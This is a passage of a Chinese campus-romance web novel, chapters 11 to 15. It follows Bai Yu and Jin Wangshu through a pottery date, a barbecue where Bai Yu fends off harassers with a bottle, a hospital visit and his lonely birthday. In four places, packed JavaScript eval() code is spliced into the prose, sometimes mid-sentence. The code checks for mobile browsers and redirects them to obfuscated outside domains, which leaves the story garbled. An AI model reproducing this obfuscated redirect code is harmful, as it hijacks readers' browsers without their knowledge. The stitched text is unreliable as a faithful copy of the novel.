好像是个杯子？不对，哪有杯子上面有三个凹凸不平的坑的？ 那是个笔筒？但好像这个口也太小了，一根笔都放不进去。 “靳望舒，你做了一个葫芦吗？” “……” 靳望舒的动作忽然停了。 白榆愣愣看着他。 后者艰难承认，“我不太擅长这个。” “我去捏一个行吗？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320909|167480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白榆觉得他苦恼的模样有些好笑，“靳望舒。” “嗯？” 他扭头过来，稍稍低着脑袋看向蹲在自己身侧的女孩儿。 却不成想一股黏腻的感觉贴在脸上，始作俑者举着双手捧着他的脸，把满手的泥都蹭在了他脸上，偏还露出一副得逞的笑。 白榆没收回手，仍然保持着捧着他脸的姿势，嘿嘿笑着。 靳望舒盯着她，“白榆。” 被叫到名字，她的脊背瞬间凉了下，立刻收起笑容变得无辜起来。 只是贪玩了一点，他不至于生气吧。 她立即收回手举在脑袋两侧做出投降的姿势，“别生气嘛。” “你也抹我就好了。” 说着，她闭上眼，一副任人宰割的模样。 等了许久也没等到那股黏腻的感觉糊在自己脸上。 她缓缓睁开一只眼，只看见靳望舒认真的侧脸继续对着那堆不知道是什么的泥巴搓弄。 “我不弄你。” “为什么？”白榆下意识问。 他偏头过来盯了她一眼，又转回去盯着面前的泥巴。 声音带着平时的那股板正，却没了那股子冷意，“因为……” “你今天的妆，很好看。” 白榆放下手愣了好一会儿，要是别人夸她，她也就真的当他夸她了。 可靳望舒这么说…… 该不会是在炫耀他自己的妈生颜吧？ 白榆愤愤起身，“我不化妆也好看。” 靳望舒动作一僵，抬头时只能看见女孩儿去洗手的背影。 哄不明白。 竟然夸她也要生气。 白榆洗了手回来之后抱着自己的小花瓶去了一旁的台面，又做了几朵小花黏在上面。 靳望舒没多久就带着他那一坨四不像过来了。 他显然也不喜欢自己做的那个东西，又压扁之后揉成了团。 白榆看着他脸上脏兮兮的泥巴，忽然有些愧疚。 “你想做什么？我帮你吧。” 靳望舒愣了下，瞥了一眼旁边的一堆成品。 “我做那个兔子吧。” 他选了一个最简单的。 好弄，在白榆的帮助下，他很快就做完了一只，之后又自己做了一只。 等两人上完色全部弄完准备出门的时候，才发现外面的天都黑了。 白榆打开手机相册看着那张刚刚拜托工作人员帮忙拍的照片。 照片上她用沾满泥巴的双手托着靳望舒的脸，后者模样有些呆滞。 也许是从来没被人这样对待过，一时连生气都忘了。 “笑什么呢？” 靳望舒的声音把白榆拉回现实。 她按灭手机屏幕后随手放进口袋，“没什么，走吧回去了。” 商场门口的彩灯不停闪烁着，旋转木马也放着轻缓的音乐慢慢转动。 白榆和靳望舒一前一后慢慢走着。 忽然身后咻地一声，引得两人同时回头看过去。 嘭嘭—— 烟花在空中炸开的瞬间绚烂，白榆被吓得下意识缩了下脖子。 她笑着望向天空，转头看了靳望舒一眼，“今天有烟花表演诶！” “嗯。” 又是“咻咻——”两声。 白榆充满期待地抬起头，却感觉有人从身后靠了上来。 烟花的声音只发出几声闷响，放大的是它的美丽和璀璨。 双耳被人轻轻捂住，隔绝了烟花炸开的猛烈声响，她甚至能感觉到身后人有力的心跳透过胸腔。 靳望舒的声音清润，从头顶的方向低低传入她的耳中，附和着她说，“好看。” 12. 下坠chapter 回到宿舍，白榆坐在椅子上呆愣了好久都没反应。 直到杨静栖过来拍了拍她的肩膀，“甜甜，洗澡吗？问你好几遍了。” “噢，我先不洗了。” 她抬手，捏了捏自己的耳垂。 靳望舒这个人，比她想象中要绅士细心的多。 只稍微哆嗦了一下，他便意识到那烟花炸开的声音震耳。 听齐志虹提起过他几个室友的家境，靳望舒父母似乎都是从事教育科研一类工作的。 类似行为大抵出于基本的素质教养。 真是的，要不是知道这一点，白榆差点要以为他暗恋她了。 笑着摇了摇头甩掉这些想法，把几张拍好的照片放进单独的一个相册，最后看烟花的时候她也没忘拿出手机拍一张。 一共六张，还剩下四张就能完成这个作业了。 进度比她预想中的要快不少。 “甜甜，宿舍团建去不去？”一盒草莓忽然递到面前，许仪苏附身过来问着。 “什么时候啊？”白榆拿起一个草莓塞到嘴里。 “下周一晚上，我打工的那家烧烤店有活动，送了员工内部券，可以打五折。” 简琳后仰着身子望过来，“先说好，不是我请客。” “去啊去啊，五折也很划算了。” “行，到时候给你们留位置。” 隔天周日，白榆还以为靳望舒会喊她去陪他做作业，不过意料之外的，他没提起这件事。 想着也许是忘记了，她乐得清闲，为了给周一晚上空出时间去吃烧烤，还特意带着电脑去图书馆做了一下午的实训选题。 简琳兼职的烧烤店跟学校隔了几站地铁，在烧烤一条街的角落位置，来来往往的人并不多。 十二月的气温开始下降，她特意留了一个室内靠窗的位置。 难得出门聚餐，室友三个都好好打扮了一番。 白榆今天扎了两个蓬松的麻花辫搭在胸前，头顶还戴了一个米白色的贝雷帽，上衣穿着偏修身的淡粉色针织衫，胸口装饰着蕾丝花边和蝴蝶结绑带，下边搭了一条奶白色的蛋糕裙，裙摆随着她的步伐一跳一跳的。 烧烤店门口不远的地方有一棵很大的枫树，这会儿夕阳正好，杨静栖拉着她在树下拍了不少的照片。 “苏苏，你也过去，我们也帮你拍。” 白榆招呼一直帮忙的许仪苏站到树下，拿过手机也不停帮忙找角度。 许仪苏无奈拿起一片树叶挡着半边脸，“这样真的好看吗？” “好看好看，苏苏是典型的古典美人胚子，就适合拍这种优雅的。” 她拍了几张照片之后主动结束这段偏离正轨的行程，“好了，快走吧，一会儿琳琳该等着急了。” 许仪苏双手搭在前面两个人的肩膀上推着她们走了几步。 杨静栖忍不住吐槽，“苏苏，我偶尔会觉得你说话很像我妈妈。” “好啊，”许仪苏也不生气，“那两位小朋友，麻烦听妈妈的话。” “别让爸爸等急了。” “……” 白榆一边看着手机相册的照片，一边偷笑了两声，路过烧烤店门口的时候余光瞥见门外也支了几桌，也许是因为人多店小，十二月了外面还要摆位置迎客。 “琳琳！我们来啦！” 杨静栖迈进门之后发现简琳还站在桌旁帮人点餐，她连忙捂住嘴巴抬手挥了挥。 简琳下巴朝着预留的位置示意了下，几个人默默过去坐好。 许仪苏拿过菜单把几个合大家胃口的都点了，“泡椒牛肉，鸡翅，面筋，烤茄子，还有琳琳爱吃的鱿鱼，剩下的你们看着加。” “喝点什么？” “西柚茉莉精酿吧，就这个还没尝过，苏苏不喝酒，给她点个橙汁。” 菜单交给简琳，白榆掏出手机给齐志虹发了个地址，【大约两个小时之后，来接我们回学校。】 【？不会自己打车？】 【你免费。】 “我给你转钱，你自己打车行不行？我这走不开。” 齐志虹敲着台球杆，一手拿着手机发送语音。 他抬头瞥了眼，又忽然把那条录好的语音按了取消。 抬腿走到台球桌另一边。 “兄弟，帮个忙吧。” “我晚点儿还有事。” 靳望舒手指架着球杆，轻击白球碰撞黑球后发出清脆的声响落入洞内。 “哦，”齐志虹并不急，掏出手机故意对着话筒，“抱歉啊甜甜，我实在没空，你就自己打车吧，就算天很黑，司机技术不好，晚上车多，司机还是个喜欢小姑娘的大汉，你也会自己回来的对不对？” 话落，半晌靳望舒还没反应。 齐志虹挑了下眉，转身靠坐在台球桌边沿拄着球杆，“别装。” “什么？”靳望舒平静问道。 “你其实挺在意的吧。” 靳望舒没说话，他控制着球杆又往前顶了下，白球蓦然被人伸手拿走。 他站直身子，“想我去可以直说。” “不用假装发消息。” “你不是晚点儿有事？” “嗯，去接人。” 靳望舒把球杆搁在一边，拎起一旁的外套，“地址记得发我。” “记得开车去，钥匙在我桌上。” 眼看靳望舒打开门出去，齐志虹最后嘱咐了句。 想他大约是听见了，才给白榆发消息。 仆人小红：【行。】 白榆看见消息后松了口气，“有人接，多喝点也没事。” 杨静栖十分期待，“是不是又是齐大帅哥？” “是是是，这次让你坐副驾。” “噢耶！” 简琳适时过来，端了几盘做好的串。 “我还得忙一会儿，你们先吃。” “不用，等你。” “也行。” 这家烧烤店的味道很不错，白榆对着桌上色香味俱全的烤串拍了张照片，思索过后给靳望舒发了过去。 他回的快，【请我吃？】 【……不是。】 【那发我干什么？】 【给你看看。】 他给她又把照片发了回来，圈住了边缘露出来的一点玻璃杯，里面装着刚倒好的西柚茉莉精酿。 【这是什么？】 【西柚茉莉精酿。】 【酒？】 【算是，但这个很好喝，甜甜的。】 冷场片刻，白榆又继续说，【你要喝吗？我给你带一瓶回去。】 【不用了。】 他好冷漠。 跟前两天有些不同。 白榆忽然开始担忧，不会没等照片拍完他就已经先厌烦了这段恋情吧。 不行啊，得加快速度才行。 简琳忙完回来，白榆收起手机拿起杯子一起碰了下。 “希望下周实训顺利！” “愿我的作业成功通过！” “祝我们能吃上火锅！” 白榆稍愣，“什么火锅？” 许仪苏去捂住简琳的嘴巴，“是火龙果，琳琳最近消化不太好。” 白榆将信将疑，她总感觉这三个人有什么秘密瞒着她。 心底的疑惑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320910|167480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很快被美食一扫而空，这家烧烤店虽然不大，但是味道一向不错。 托简琳的福，她们这学期已经过来打折吃了不少次了。 酒水比预想中喝的要快，店里的甜酒卖没了，几人又点了两瓶啤酒，边吃边聊时间过得尤其快，外面天色渐渐暗了下来，门口点了几盏灯，照着外面的几桌客人。 冷风从敞开的门灌进来，几人喝了酒，倒不觉得冷。 正吃得差不多，白榆起身去了厕所。 杨静栖喝了不少，她趴在桌上，感觉到有人靠近还以为是白榆回来，起身就想给她让位置。 却不成想抬起头看见的是一个花臂精神小伙，她皱了皱鼻子，感觉有些反感。 偏过头没说话，人家却非要凑上来，“小美女，你们几个人喝多没意思啊，跟我们拼个桌吧。” “不好意思啊，我们吃差不多了。” 许仪苏作为唯一一个滴酒未沾的，自然先站出来交涉。 简琳已经靠在她肩头睡死了，杨静栖没睡，但是也迷迷糊糊的。 精神小伙丝毫没有退缩，反而指着窗外的一桌，“我们桌就在那，还有不少都没上呢，一起再吃一点吧。” 许仪苏不满皱眉，“不用了，我们很快就走了。” “哎别不识抬举啊，我们看得上你们是你们的福气。” “……”许仪苏沉默着。 杨静栖忽然拍桌起身，“都说了不去了，干什么一直在这儿啊？烦不烦啊？” 正说着，又来了个肥头大耳的壮汉抓住她的手腕，“怎么回事？请客都不稀罕啊？” 许仪苏当即站起来，“你放开她。” “走，陪哥哥们喝两杯，等喝好了就好好送你们回去。” “看你们这样是学生吧？多少钱一晚啊？” “嘴巴放干净点，说什么话呢？” “打扮这么好看不就是给男人弄的，哥哥有钱，跟哥哥走。” 白榆从卫生间出来的时候看见的就是两个男人扯着醉醺醺的杨静栖和简琳往外走的画面，嘴里还不干不净地骂着什么。 周围的几桌客人都躲得远远的，生怕和自己扯上干系。 许仪苏站在那里急的快要哭出来，她连忙拿起手机拨打报警电话。 啪嚓—— 电话打通那刻店内忽然传来一阵酒瓶碎裂的巨响。 未等那两个流氓转头确认声音的来源，白榆已经拿着碎裂的酒瓶优先抵在了那个壮汉后腰。 “把你的脏手放开。” “呦，又是个小美女。” 也许是白榆长相太过无害，那两人并不怕她。 皱了皱眉头，她手臂微微用力，玻璃碎片刺破那男人身上薄薄的一层短袖扎在他的皮肉上。 疼得他哎呦了一声，“你干什么？我警告你，你这样是故意伤害。” “放手。”白榆懒得和这种人废话。 壮汉看了精神小伙一眼，两人同时把人放开，简琳一下子倒在许仪苏身上，她一边扶着她还一边跟警察说明情况。 杨静栖往里面坐了个位置，躲得老远，满脸都是嫌弃。 “小美女，我们放手了，你是不是也应该放开了？” 男人的眼神带着些许的讨好。 白榆渐渐卸下防备，把握着碎裂酒瓶的手缓缓放下。 只下一秒，手里的酒瓶就被拍开，那男人又握着她的手腕，“呸”了一声，“真是的，浪费老子时间。” 说着，他指挥旁边的精神小伙，“带上那几个，你也跟我们走，去喝酒。” 啪—— 清脆的巴掌声蓦然响彻整个店内。 13. 下坠chapter 那壮汉觉得小姑娘没力气，殊不知白榆轻而易举就挣脱了他的桎梏，随后毫不客气地在他脸上落下一掌。 “我靠！” 男人骂了一声。 “滚啊！” 白榆把背在身后的那只手扬起，抡起一个完整的酒瓶毫不客气地砸在那男人的头上。 她使了十足的力气，空酒瓶砸在男人头顶啪地一声碎裂。 “哎呦！” “甜甜！” “大哥！” “小心！” 白榆稍稍退了一步，忽然看见个身影跑到自己身前把她挡在身后。 “靳望舒？” 白榆因为喝酒熏红了脸，表情呆愣愣的。 玻璃碎片甩到四处的同时店内的客人四处躲闪，这会儿店主也赶紧走了出来。 抬起头，透过拦在她身前的那支手臂可以看见那壮汉捂着脑袋咿呀咿呀地叫唤着跌坐在地上，酒瓶砸破他的头，鲜血顺着他的脸颊流了下来。 那刻白榆还没来得及担忧后果，挡在她身前的颀长身影蓦然向后倒了下来。 她连忙扶住他，“喂，喂，靳望舒？你怎么了啊？” 五分钟后—— “唉，真是的。” 白榆一边感叹，一边背着比她大了一圈的靳望舒在小路上缓缓走着。 许仪苏留在店里和警察交涉后面的情况，她急着给齐志虹打了电话让他过来帮忙把人送到医院。 这边是小路，车子进不来，暂时停在那边拐弯的路口，白榆只能背着晕倒的靳望舒过去。 “你晕什么啊？我还没晕呢。” “哎呀，真重。” 白榆碎碎念两句之后闭了嘴，半晌又忍不住张口，“所以你到底为什么晕啊？” “……”回应她的只有一片静默。 最近的医院开车三分钟就能到，和齐志虹汇合后他用最快的速度把人送到医院。 “医生说是晕血，没什么大事，等会就能醒了。” 白榆松了口气，“吓死我了，还以为是怎么了。” 齐志虹抬手安慰似的抱了她一下，刚才车上已经听她断断续续说了烧烤店的事，“吓到没？” “还好。” 白榆摇了摇头，随后又点了点。 “靳望舒比较吓人。” “他之前就有这个毛病吗？” “没听说过啊。” 齐志虹拿着手机试图联系靳望舒的家人，但打了好几次家庭座机都没人接电话。 白榆斜斜靠在他身上，还觉得脑袋晕乎乎的，手机响了一瞬，是许仪苏打来的电话。 “喂，苏苏，你那怎么样了？” “没什么事，警察来调了监控，那俩人有犯罪前科，让他们带走了。” “你呢？找到齐志虹了吗？” “我们已经到医院了，说是晕血，没什么大事，一会儿我就回去了，你一个人能弄好简琳她们吗？” “没事，栖栖哥哥来接我们回去了，能行。” “好，小心点。” “嗯。” 许仪苏挂断电话，她坐在迈巴赫后座，左右肩膀各搭着一个脑袋。 杨静栖还在不断说着胡话，“我还想吃小蛋糕。” 副驾的杨敬津闷闷不乐，“我看你像小蛋糕。” 一旁的江宋握着方向盘随口安慰了句，“得了，小孩儿，想吃给她买点，我一会儿在蛋糕店停一下。” “什么小孩儿啊？我俩双胞胎懂不懂？她跟我一样大！” “哦，”江宋似是才知道这事，“她长得显小。” “啥意思？我老？” “瞧你那算计样儿，”江宋在一家蛋糕店门前踩下刹车，丢给杨敬津一张卡，“去买点，我出钱。” “钱多了不起。” “等着。”杨敬津拿着卡转身下车，用力甩上车门。 车内忽然陷入一片安静，许仪苏伸手把后车窗调下来一点，清爽的风灌进车内，让这股酒味散了些。 她小心抬头看着驾驶位的男生，“抱歉，把你的车弄得一股难闻的味道。” 江宋淡淡扭过头看了她一眼，“没事，也不是你弄得。” “我替她们道歉。” “不用。” 江宋比许仪苏想象中的还要凶，“不喜欢听人道歉。” 她适时噤了声。 杨敬津很快回来，他大包小包买了不少，一看就是没花他的钱不心疼。 江宋重新发动车子，盯了一眼旁边生闷气的杨敬津，“差不多得了，人小姑娘都被欺负了，你还生气。” “我怎么能不生气？差点我就胡了！” “一晚上打了十几把我就这一把能胡！” 人类的悲欢并不相通，杨敬津如此惋惜的同时，齐志虹独自庆幸。 “差点就输了，多亏你一个电话给我叫出来了。” 白榆没骨头似的挂在他身上，“什么？” “打麻将啊，我赢一晚上了，好几百块呢，最后差点输了。” “……” 娱乐活动还挺丰富。 白榆看了一眼病床上的人，他似乎恢复了气色，嘴唇没有开始那么白了。 “还是联系不到他的家人吗？” “嗯，只有座机号码，打了好久还是不行。” “算了吧，等会儿醒了再让他自己联系下。” 说着，齐志虹扫了一眼白榆红彤彤的脸颊，“你喝多了没？我送你回去？” “不用，我等他醒。” 齐志虹“啧”了一声。 “干什么？那他本来因为护着我才晕倒的嘛！” “行行行，陪你等。” 齐志虹长腿勾过旁边的一个凳子坐下，顺手打开了游戏。 白榆不在他身边自讨没趣，出去阳台上吹了吹风。 她酒量不差，没到醉的程度，找到楼下贩卖机买了瓶水，喝下去两口之后再回到楼上，脸颊的红已经褪下去许多。 靳望舒醒来的时候，白榆前脚刚走。 抬手揉着发晕的头缓缓坐起来，一旁的齐志虹游戏刚刚打开。 他瞟过来一眼，“兄弟，你等会儿再醒。” 靳望舒：“……” 犹记得自己是去接人的，结果刚到门口就看见白榆抄起酒瓶就往人家头顶上砸。 虽然不知道因为什么，但他还是先护在了她身前。 “白榆呢？她有事没？” “她没事，打小身子骨就硬朗，又是个不肯受欺负的，噢对了，你还是她背上车的。” “……？” “她——背我？” “嗯啊，出去放风了，不信一会儿回来让她给你演示一个。” 靳望舒摆了摆手，“不用了。” “哦对，你晕血的毛病，自己知道吗？要不要给家里人打个电话，让他们来接你。” “用不着，我没什么事。” 说着，靳望舒已经下了床。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15320911|167480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白榆刚到病房门口就看见原来躺在床上的人此刻已经能直立行走了。 她高兴的连忙迎上去，“靳望舒！你没事了吗？” “嗯，”他拿起一旁的手机看着，因为喉咙发干而轻咳了两声，“有水吗？” 齐志虹那头打游戏正忙着，“等会哈，等我死了去帮你弄。” “……” “游戏，我说的是游戏。”他又笑着解释。 白榆白了他一眼，“楼下有个贩卖机，我去帮你买一瓶。” 靳望舒又咳了两声，“你手里的水，我能喝一口吗？” 白榆稍愣，“这是我喝过的。” “没事。” 白榆把那瓶水递给他。 如果上次喝错咖啡只是个意外，那这次……也许是太渴了？ 盯着他拧开瓶盖的同时挪了一步到齐志虹的身边，肩膀顶了顶他。 白榆小声问，“喂，你不是说他有洁癖吗？” “是啊，我喝过的他就不喝。” “这是你得出他有洁癖的理由？” “嗯啊。” 白榆嘴角抽了抽，“我觉得你口臭的可能性更大。” 齐志虹操作的游戏人物光荣阵亡，他抽出手掐着白榆的脖子摇晃，“就算有也是被你传染的。” “吃你剩饭都快吃了二十年了。” “……” 她没话说。 胡闹片刻，靳望舒过来把剩下的半瓶水递给她，“谢了。” “噢，不用。” 白榆感觉他脸色还是有些发白，干脆大方了一次，“你拿着喝吧。” 别一会儿缺水又晕倒了。 可话落，靳望舒的脸色好像更难看了点。 他没拒绝，收回那瓶水自己拿着。 “医药费结了吗？” “没呢，单子在这儿。”齐志虹示意了下旁边的床头柜。 “行，我去结一下。” 白榆紧随其后，“我跟你一起。” 靳望舒走得快，白榆有点跟不上，但是又怕他走太快摔到自己，连忙快走两步挽住了他的手臂。 “别走那么快，你刚醒呢。” “我只是晕血，不是低血糖。” 他的态度有些冷淡，但脚步却放慢了些。 白榆摸不着头脑，只能关心两句，“你吃晚饭了吗？” “还没。” “那我一会儿陪你去吃饭好不好？” 靳望舒没说话，他给白榆放在椅子旁，随后抽出手臂按着她的肩膀让她坐下，“在这儿等我。” “别乱跑。” “哦。” 白榆盯着靳望舒往窗口去的背影，忽然感觉有些沮丧。 她没忘拿出手机切换自拍后和靳望舒远处的背影合照了一张，顺便还做了一个有些生气的表情。 片刻，一瓶未开封的水递到眼前。 抬起头看见的是靳望舒那张莫名其妙的冷脸，“还你。” “噢。”白榆愣愣接过，“我说了不用了。” “怎么弄得？” “什么？”靳望舒的话让白榆有些听不明白。 他忽然伸手，拉着她的手腕抬起来一点，手背上鲜红的划痕约莫两三厘米长。 “不是什么大事，我都没看见。” 她怕靳望舒又晕血，连忙缩回手护住。 后者被她猛然抽回手的动作弄得一愣，继而自嘲般地扬了扬眉。 他转过身，“走吧。” 14. 下坠chapter 继那天从医院出来之后，白榆明显能感觉到靳望舒态度的冷淡。 有一种即将分手的不详预兆，但为了剩下的三张照片，她还是硬着头皮给他发消息。 【在干嘛？】 靳望舒的消息回的很慢，这两天一直这样，【做作业。】 ！！！ 【我去陪你啊，上次答应你的。】 白榆捧着手机，发完这条消息之后死死盯着屏幕，就怕他拒绝。 五分钟后才等到他的回复，【这里很无聊。】 白榆松了口气，【没事的！正好我也有些作业没做完（可怜）】 【实验楼B304】 【马上到！】 实验楼的位置不好找，白榆不敢再打扰靳望舒，骚扰齐志虹得到确切的地址之后大概五分钟就背着包到了实验室门口。 白榆站在敞开的后门门口小心朝着实验室里面望去，靳望舒正在一个实验器材旁边操作着什么，教室里面还有几个其他的同学。 她打量着这个实验室的布局，再回神的时候正好看见靳望舒看向她。 白榆连忙走过去，“这是你的作业？” “嗯，需要实验得出数据。” “噢。” 他随手指了下角落的一张大实验桌，上面放着他的黑色背包和一些书，“去那边坐吧，需要插座吗？” “嗯，要，我带了电脑写论文。” “插座在桌子底下。” “好。” 短暂的对话之后白榆去那边桌子旁边坐下掏出电脑，靳望舒的态度好像和从前也没什么区别。 消息回复的缓慢大概只是因为在忙作业。 至于之前医院的时候为什么冷脸？ 她猜，或许是觉得在她面前晕倒有些丢脸。 要不怎么都过去两天了，也不见他问一问那天到底发生了什么。 说服自己之后白榆赶紧掏出手机，趁靳望舒不注意举起来拍了一张合照，紧接着便开始若无其事地写起论文。 实验室的确无聊，这里并不是完全安静的，那些做实验的同学会聚在一起交流数据，白榆戴着耳机隔绝杂音，足足两个小时之后才把论文结尾写完。 她伸了个懒腰，抬起头看见靳望舒还站在最开始的那个实验仪器面前。 他手里拿着什么反复对比，眉头微微蹙起，认真的模样让人忍不住多看上一会儿。 似是注意到她的目光，靳望舒转头过来，白榆也不躲开，只是对着他笑。 终究还是他先别开视线。 白榆隔了会儿才回神，耳机里面放着的歌曲是最近流行的甜歌，她看了眼时间，确认靳望舒暂时没有要走的意思之后又重新打开了一个其它的论文作业文档。 约莫又过了半个钟，肩膀忽然被人轻轻拍了两下。 扭过头只看见站在一旁的靳望舒嘴巴一张一合。 白榆连忙把一侧的耳机摘下，“说什么？” 靳望舒拿起桌上的书装进背包，“我说，我做完了，要走了。” 他紧接着问，“送你回去？” 白榆思索片刻，“晚点吧，我还差一点没写完，过会儿我自己回去。” 靳望舒盯了一眼窗外，天色还不算太晚，“好。” “到宿舍给我发个消息。” “嗯嗯。” 目送靳望舒转身离开，白榆又独自在教室里面坐了一个小时才堪堪完成一些。 身体已经感觉到疲惫，打开手机是简琳给她发消息问她要不要一起吃晚饭。 【要！！饿死了！！】 回完消息白榆就开始收拾东西，把所有东西装进包里面，又弯腰确定桌堂里面。 伸手摸到一小包笔，白榆呆愣半天，又想起自己好像根本没有带笔过来。 透明的小文件袋里面装着几根透明笔杆的黑笔，除此之外还有几张折起来的纸和一张身份证。 应该是靳望舒落下的。 他的证件照和他本人简直是一个模子刻出来的好看，但照片更显得有少年气，看上去是高中那会儿拍的了。 白榆拿起手机给他发消息，【我准备回去了，你在宿舍吗？】 【没，我回家了。】 【你东西落下了——[图片]】 【我暂时不回学校，你帮我收着，或者给齐志虹让他帮我带回宿舍吧。】 【好。】 白榆没忍住又看了一眼那张身份证件，目光停留在他的生日日期片刻，又掏出手机迅速比对。 12月12日—— 那不！就是！今天！吗！！ 简琳适时发来消息，【我们到餐厅了，你吃什么？】 【我还有事，先不吃了。】 把那个文件袋装进背包后白榆着急走出教室。 怪不得今天也不是周末，靳望舒还要回家，原来是想回去和家里人庆祝。 她身为女朋友，自然是要给他买个小礼物。 顺便，再拍张照片什么的。 白榆一边下楼一边给齐志虹发消息，【靳望舒家的地址有吗？】 【？？？】 【不是，这才多久，你怎么就要去他家了。】 【他有东西忘在我这儿，我给他送回去。】 【他急用？给我不就行了。】 白榆有些生气，【你到底知不知道？】 【不！知！道！】 她秒怂，【求求你了，哥哥。】 齐志虹：【奇怪，忽然我就知道了。】 “……” 他很快给她发过来一串地址，【应该是这里，不过我也没去过，离咱家不远，你去送完回家睡一晚吧，我会跟齐女士确认你是否回去了。】 白榆：【看我跟看狗一样。】 齐志虹：【很有自知之明。】 白榆：…… 到校门口打了一辆出租，白榆还是忍不住多问两句，【他今天过生日，你知道吗？】 身为室友，知道这种事情应该是起码的吧。 齐志虹发来一条语音，“这我还真不知道，之前问过几次，他说他从来不过生日。” “我以为他是嫌麻烦来着。” 白榆蹙了蹙眉，又翻出那张身份证看了一眼。 确认日期没错之后才又放回包里。 难道是只想和家里人一起过生日吗？ 那她把东西送过去就好了，就当是顺便回家吃顿好的。 意识到靳望舒的边界感很重，白榆打消了陪他过生日的念头，又给齐倩发消息让她晚餐多做一点等她回去。 天色渐晚，出租车在一处别墅区停下，白榆对应着地址拐了几个弯才找到靳望舒的住址。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15320912|167480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边的别墅密度要比他们家小很多，独栋别墅旁边有一大片的绿化树林，幸而道路两旁的路灯早早便开了。 她站在一处黑色的铁艺大门外，再三确认之后才按下门铃。 门铃响了几声却不见有人来开门，白榆还是给靳望舒发了消息。 【你不在家吗？】 【怎么了？】 【我在你家门口，但是按了好久门铃都没人来开门。】 白榆觉得自己需要解释一下，【我只是刚好也打算回家，听齐志虹说你家也不远，就想着给你把东西送回来，毕竟身份证这种东西还是随身带着比较安全。】 【稍等我一会儿。】 【噢，好。】 白榆站在路灯底下，拿着手机翻看着朋友圈等他。 杨静栖发了一条动态，照片上她捧着几个大袋子的小蛋糕满脸哀怨，并配文——【怎么会有这么多的蛋糕啊！！！】 白榆给她点了赞，并丢下一条评论。 【你哥哥也是难得请客一次。】 这么大方的杨敬津属实少见。 许仪苏很快回复了一条，【但其实是江宋买单的。】 ？ 这是什么小众的请客方式？ 亏昨天碰见杨敬津的时候他还问她们有没有吃他给栖栖买的蛋糕。 安静的氛围中忽然响起一阵汽车行驶的声音，白榆关了手机塞进口袋。 紧接着一辆出租车在面前停了下来。 靳望舒打开后门下了车，他一看就是来得急，头发被风吹得掀起几缕，外套前襟的拉链也半敞着。 白榆：“不好意思，我以为你在家的。” 靳望舒：“嗯，临时去买了个东西，本来也要回来了。” 白榆掏出那个文件袋递给他，“那个……我没打扰到你们吧？” 这会儿没在家的话，应该是跟家里人出去吃饭庆祝生日了才对。 “我们？” 靳望舒接过文件袋，往前走了两步开了门。 “嗯啊，我看身份证上的日期，今天好像是你的生日。” 闻言，靳望舒的动作稍顿，语气低沉，“没什么可打扰的。” 紧接着他推开面前的门，“要进来坐坐吗？” 白榆点了点头，“好啊。” 这栋别墅跟白榆自己的家差不多大，外面的小院很小，铺着整齐的石板，院子里面空空荡荡的，只有一套落了灰的桌椅。 再打开门进入室内，偏复古的装修风格仿佛让人回到了八十世纪。 和院外不同的是，室内很整洁，干净到看不见丝毫的灰尘和杂物，所有的东西都规规矩矩摆在属于它的位置上。 就好像，这里从来没人住一样。 靳望舒从鞋柜里面给她拿了双灰色的拖鞋搁在脚边，“没有新的，这是我妈妈的，你试试合不合适。” 白榆换上拖鞋，“叔叔阿姨不在家吗？” 靳望舒淡淡“嗯”了一声。 她隐隐感觉到有些不对。 坐在那个欧式风格十足的沙发上，环顾四周最和这房子格格不入的就是她，还有面前茶几上的一袋东西。 靳望舒给她倒了杯水，白榆小心接过，“谢谢。” 余光瞟到茶几上的那个塑料袋，袋子上印着第二医院的字样。 是她常去取药的那家医院。 15. 下坠chapter 白榆捧着杯子喝了一口水，再抬起头面前的袋子已经被靳望舒拿走。 她没话找话，“你吃晚饭了吗？” “没有。” 白榆忍不住怀疑，“你不是今天的生日吗？” 靳望舒深深看了她一眼，“没人规定一定要过生日。” “我也没吃晚饭呢。”沉默片刻，白榆忽然岔开话题。 